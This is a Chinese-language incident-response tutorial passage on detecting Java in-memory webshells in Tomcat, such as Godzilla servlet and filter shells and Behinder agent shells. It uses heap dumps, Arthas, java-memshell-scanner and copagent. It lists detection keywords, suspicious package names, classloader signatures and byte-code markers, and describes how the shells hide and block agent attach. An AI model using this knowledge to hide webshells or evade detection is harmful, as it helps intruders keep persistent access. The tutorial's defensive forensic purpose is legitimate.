dump内存分析,这种方法主要是对前面三种的补充,第一种和第二种都是依靠 agent attach 到 jvm 里面,但是有些攻击者会使用对抗分析排查的手段,阻挠我们去 attach,比如:冰蝎的反检测分析的手段,会干掉 jvm 线程之间的通信管道的建立要用到.java_pid<pid>这个文件,阻止 JVM 进程通信,从而禁止了 Agent 的加载。Agent 无法注入,上文提到的方法1、2就使用不了了,从而实现了反查杀。

可以通过 dump下来的内存实现对 java 内存马进行分析:

使用 java 自带的工具,jmap,dump heap 下来:

jmap -dump:format=b,file=<filename> <pid>

这里我们需要思考,内存马在内存中可能的存在形式,jvm能够直接处理的应该是字节码文件class,所以我们可以尝试在内存中寻找字节码文件,字节码文件头的16进制特征:cafebabe;也可以直接搜恶意类可能出现的敏感词,shell 、memshell、eval、inject、horse、_jsp$1之类的,也可以查内存中遗留的访问记录,查看是否存在相关访问是内存马利用和链接。

查杀思路

判断一些常见的内存马,通常情况下可以通过以下可疑特征去判断:

1. 继承可能实现 webshell 的接口

例如 Servlet,Filter,Listener,Interceptor

  • javax.servlet.http.HttpServlet
  • org.springframework.web.servlet.handler.AbstractHandlerMapping
  • javax.servlet.Filter
  • javax.servlet.Servlet
  • javax.servlet.ServletRequestListener
  • …

2. 名字:内存马名可能包含 shell 等关键字

常见的包名如下

  • net.rebeyond.
  • com.metasploit.

3. 高危 classloader 加载

查看 classloader 是不是 Templates 或 bcel 等

一般来说,正常的 Servlet-api 等组件都是由中间件的 WebappClassLoader 加载的。

而反序列化漏洞喜欢利用 TemplatesImpl 和 bcel 执行任意代码。所以这些 class 往往就是以下这两个:

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader

com.sun.org.apache.bcel.internal.util.ClassLoader

而由 JSP 加载的内存马对应的 ClassLoader 则为 org.apache.jasper.servlet.JasperLoader

4. 对应的 ClassLoader 路径下没有 class 文件

正常情况:

Java ClassLoader 加载类时,通常从磁盘(如 WEB-INF/classes 或 JAR 包)读取 .class 文件,并解析成 JVM 可执行的字节码。类的全名(如 com.example.HelloServlet)对应磁盘路径(如 WEB-INF/classes/com/example/HelloServlet.class),所以路径下有对应文件。

内存马情况:
内存马(如 Servlet/Filter 或 Agent 类型)为了隐藏,会直接用内存中的字节码加载类,而不读磁盘:

  • Servlet 类型:通过反射创建匿名类,字节码只在运行时生成并存内存,没写到磁盘。
  • Agent 类型:用 Instrumentation 修改或注入字节码,也只在内存中。

5. 类名里带$的匿名内部类

排查示例

1、哥斯拉实现的 Servlet 组件内存马

这种类型的内存马最多,实现起来也是最简单的。其中的典型就是哥斯拉和我们平时一些利用工具,他们都是这种类型的内存马。这里就用哥斯拉注入一个内存马为例。

哥斯拉的 webshell 可以看到提供了 memoryShell (默认 servlet)和 FilterShell 两种,这里我把两种马都注入了。

方法1、java-memshell-scanner

先使用 java-memshell-scanner 扫描

使用方法:直接将 jsp 丢到可访问可执行的路径,然后 web 触发 jsp 代码逻辑即可。

可以发现,扫到了很多没有 class 文件的内存马。

这种由工具生成的内存马特征还是很明显的。classloader 都是 org.apache.coyote.xxx ,并且磁盘上没有对应的 class 文件,就能够很好的和正常的 Servlet 进行区分。

可以看到后面还有 kill 的选项,这个 kill 是可以把内存马干掉的,干掉的原理也非常简单,怎么加的,反过来删除卸载即可,只要拿到StandardContext了,就可以“为所欲为”。

方法2、通过 java agent attach 到 jvm 里面

使用上面提到的 arthas 工具。

查看 JVM 已加载的类信息,筛选 Servlet 类:

sc *.Servlet


通过 JSP 来注入的内存马,它的 classload 是 org.apache.jasper.servlet.JasperLoader,而正常情况下的 Servlet-api 是由中间件的 WebappClassLoader 来加载的。但是想要盖棺定论最好还是看下具体的实现。

使用 jad 命令反编译这个可疑类

jad org.apache.coyote.jsontype.PolymorphicTypeValidator



把它 copy 出来分析,确定为哥斯拉的 Filter 内存马。

PS: 代码太长的话也可以把 class dump 出来本地用 IDEA 反编译分析

dump -d C:\Users\allen\Desktop org.apache.coyote.ObjectReader

到这里已经可以确定是内存马了,接着我们还可以看看是谁把它加载到了 JVM。

sc -d org.apache.coyote.ObjectReader


其中 classLoad 就是加载它的类:

org.apache.jsp._2_jsp

继续追踪,找到代码路径,到 web 目录把 2.jsp (这个就是我们一开始上传到服务器的马,通过这个又上传了内存马)给删了。

sc -d org.apache.jsp._2_jsp


上面我们看到另一个类就是自然就是 Servlet 的马了。

对于 Filter 还可以用

sc *.Filter

方法3、Cop 脚本

java -jar cop.jar


程序会列出当前所有的 Java 进程,输入对应的序列号(Index)并按回车。

工具会自动开始扫描该进程中符合内存马特征的类。

扫描完成后,Copagent 会在当前目录下生成一个文件夹,里面存储了所有导出的可疑 java 文件。

2、其他方式 Servlet 内存马

这里以上面我们自己实现三种类型的内存马为例。

方法1、java-memshell-scanner

同样脚本跑一下

图中名称里面带$表示匿名内部类,这种是比较可疑的,一般来说三大组件里面的类都是有正常名的,出现这种情况,大概率时攻击者构造内存马的时候创建相关恶意组件类实例,没有命名,创建的是匿名类实现对应接口。

可以看到十分简单快捷的找出了上面三种内存马;(一般实战中攻击者比较喜欢使用 filter 类型的马,我们可以观察 Patern 字段,这个字段是该 filter 过滤的 url 特征);

小提示:tomcat 下,攻击者通过 jsp 注入(或者通过一些其他 rce)这类内存马时(注入后删除 jsp),大概率会使用匿名内部类实现相关接口创建实例,所以这里我们可以尝试去根目录 /ROOT/org/apache/jsp/ 目录,看是否存在相关带$的 class 文件,逐一检查。

tomcat 会将访问过的 JSP 文件动态编译为 .class 文件,并存放在固定目录:

方法2、通过 java agent attach 到 jvm 里面

启动:

java -jar arthas-boot.jar

注意:执行该程序的用户需要和目标进程具有相同的权限。

使用sc *.Servlet命令,找出所有类名里面包含了 servlet 的类

filter 型: sc *.Filter
Listener 型:sc *Listener

然后对可疑的类进行反编译,查看实现

这里我们看到 org.apache.jsp.memhorse_jsp$1 比较可疑,但是有两个,所以我们先要获取其 hashcode,使用命令 :

sc -d 类名 # -d:展示详细信息



随便选一个通过 jad 命令反编译

jad -c 6cd7d0d4 类名

-c :存在多个同名的类时用来指定 hash

如下图,可以看到其代码实现(对于servlet这种一般而恶意逻辑都写到service方法里面)


根据代码实现就可以确认是内存马了,但是如果通过上面的三种类型的搜索没发现异常(可能攻击者注入的类名不常规),可以直接搜索实现接口

Java Servlet组件接口:

javax.servlet.Servlet  
javax.servlet.Filter  
javax.servlet.ServletRequestListener

命令如下:

sc -d javax.servlet.Servlet\*  
​  
sc -d javax.servlet.Filter\*  
​  
sc -d javax.servlet.ServletRequestListener\*  

直接开始三连查:

注意:
- 这种全局扫描对 CPU 有一定的瞬间负载,尤其是在类加载数量巨大的生产环境下。
- 所以当查询结果超过100个类,arthas不会返回结果,所以我们用sc查的时候尽量把类前面写全。
- 可以参数指定查询数量 -n 200

在查询之前需要先打开日志,后面搜索要用,默认是关闭的

options save-result true


日志文件默认路径:

{user.home}/logs/arthas-cache/result.log

执行结束后,打开日志,正则匹配下(我这里是在IDEA里打开的)

interfaces\s+javax\.servlet\.Servlet\s*$ 

# \s+ :匹配一个或多个空白符
# $ :限制结尾


结果一共有三个,其中两个都是org.apache.jsp.memhorse_jsp$1,jsp servlet 产生的匿名内部类(这里相同的类出现了两次,是 arthas 的类检索机制导致的,如果一个类被多个 classloader 加载,-d 参数检索出来的类,就会出现多次)

其它同理

然后就是 jad 反编译,分析实现逻辑,同上。

总的来说,arthas 的自由度非常高,主要看排查人员的排查逻辑思维,但其实大多数情况下是指向性排查。

比如:通过某安全设备看到了攻击者使用某个漏洞接口进行了攻击,随后便产生了大量的内存马连接流量(如:ids类设备上出现一堆冰蝎、哥斯拉类的告警),那么其实我们是知道大概率就是这里打进来的。

我们还可以协同业务系统开发人员,咨询相关接口的实现类,然后去排查对应类。

方法3、dump 内存分析

heapdump

搜索 字节码文件头的16进制特征:cafebabe,发现了 servlet类型的马

搜索 _jsp$1 的十六进制 5f6a73702431 成功发现 另外两种。

3、冰蝎 Java Agent 注入 jar 实现的内存马

方法1、使用arthas

这类内存马实现方式比较多,检测比较困难,copagent 和 memershell 都无法监测冰蝎 4 注入的内存马。

这里我们用 artars 去分析,主要关注 agent 内存马常改的一些类,比如

javax.servlet.http.HttpServlet

jakarta.servlet.http.HttpServlet   

org.apache.tomcat.websocket.server.WsFilter

org.apache.catalina.core.ApplicationFilterChain

weblogic:  
weblogic.servlet.internal.ServletStubImpl

针对这几个类挨个过一遍,直接 jad 反编译看方法被改没。

冰蝎内存马就是通过修改 javax.servlet.http.HttpServlet 方法,添加自己的处理逻辑,也就是内存马。

jad javax.servlet.http.HttpServlet


可以看到,javax.servlet.http.HttpServlet的 service 方法被插入了内存马逻辑,判断uri是否匹配 /memshell,并且在实现内存马的逻辑里面做了一个硬编码内置类用来解码。

方法2、dump 内存分析

如果 arthars attach 不上 java 进程(勾选了防检测),可以 dump 内存看下。
使用 java 自带的工具,jmap,我们 dump heap下来:

jmap -dump:format=b,file=<filename> <pid>


在知道被利用的接口是一个任意字节码加载接口的时候,我们可以直接对症下药,查看内存中是否遗留相关恶意字节码的 base64 编码(接口做了编码解码)

类字节码的base64头形式一般是:yv66vg(cafebabe转换而来)

一般的webshell管理工具都是通过 base64 或 aes+base64 这种方法来做的,所以攻击者利用 webshell 管理工具注入内存马的时候(不管是注入马使用的类,还是内存马对应的类本身),内存处理里面就会留存相关蛛丝马迹;

搜索 yv66

一共发现17个地方,有些是 web 请求遗留的,有些是执行逻辑的遗留。

接下来,我们还原 class 字节码文件复制 16 进制 或者 右边的 base64 编码后的内容

然后把 base64 编码还原,如果复制的是16进制,则需要先还原为 base64 编码后的源码。

CyberChef 工具地址

然后点击保存为 class 文件,然后通过 JADX 把 class 文件反编译

JADX地址


最终拿到注入内存马逻辑的 class 字节码实现。

除了这种方式还可以 通过 排查请求记录,也可以看到内存马连接记录。

搜索 GET 或者 POST

除此之外还可以在 dump 直接搜

strings heapdump2026-02-05-17-017970268917371544598.hprof | grep "POST /" 


内存中 web 目录的可疑路径。

strings heapdump2026-02-05-17-017970268917371544598.hprof | grep -E "/webapps/.*?\!" | sort -u

strings:提取文件中的可读字符串(排除二进制乱码内容)。

想要杀掉 agent 马的话,其实就是还原这个被篡改的类的字节码。需要编写一个 java agent,然后注入到目标中间件即可。

六、总结

不论是哪一类内存马,只要成功注入运行,就必然会留下痕迹;只要有痕迹,就一定能顺着线索追到其实现方式,区别只在于排查的路径和方法。

目前比较主流、也相对成熟的排查思路主要有两种:

一是通过 agent 方式
实践中通常选择 Arthas 这类成熟工具,兼容性和稳定性都有保障。该思路对应急人员的技术要求较高,需要能够结合具体运行环境,分析不同类型的内存马实现方式,以及实际业务接口和调用链,从而设计出有针对性的过滤和定位策略。

二是 dump 内存进行离线分析,让内存落地。
相比 agent 方式,这条路对人员能力要求相对低一些,基本按照固定的排查步骤推进即可;但在某些场景下,反而可能取得出乎意料的效果,对定位问题非常直接。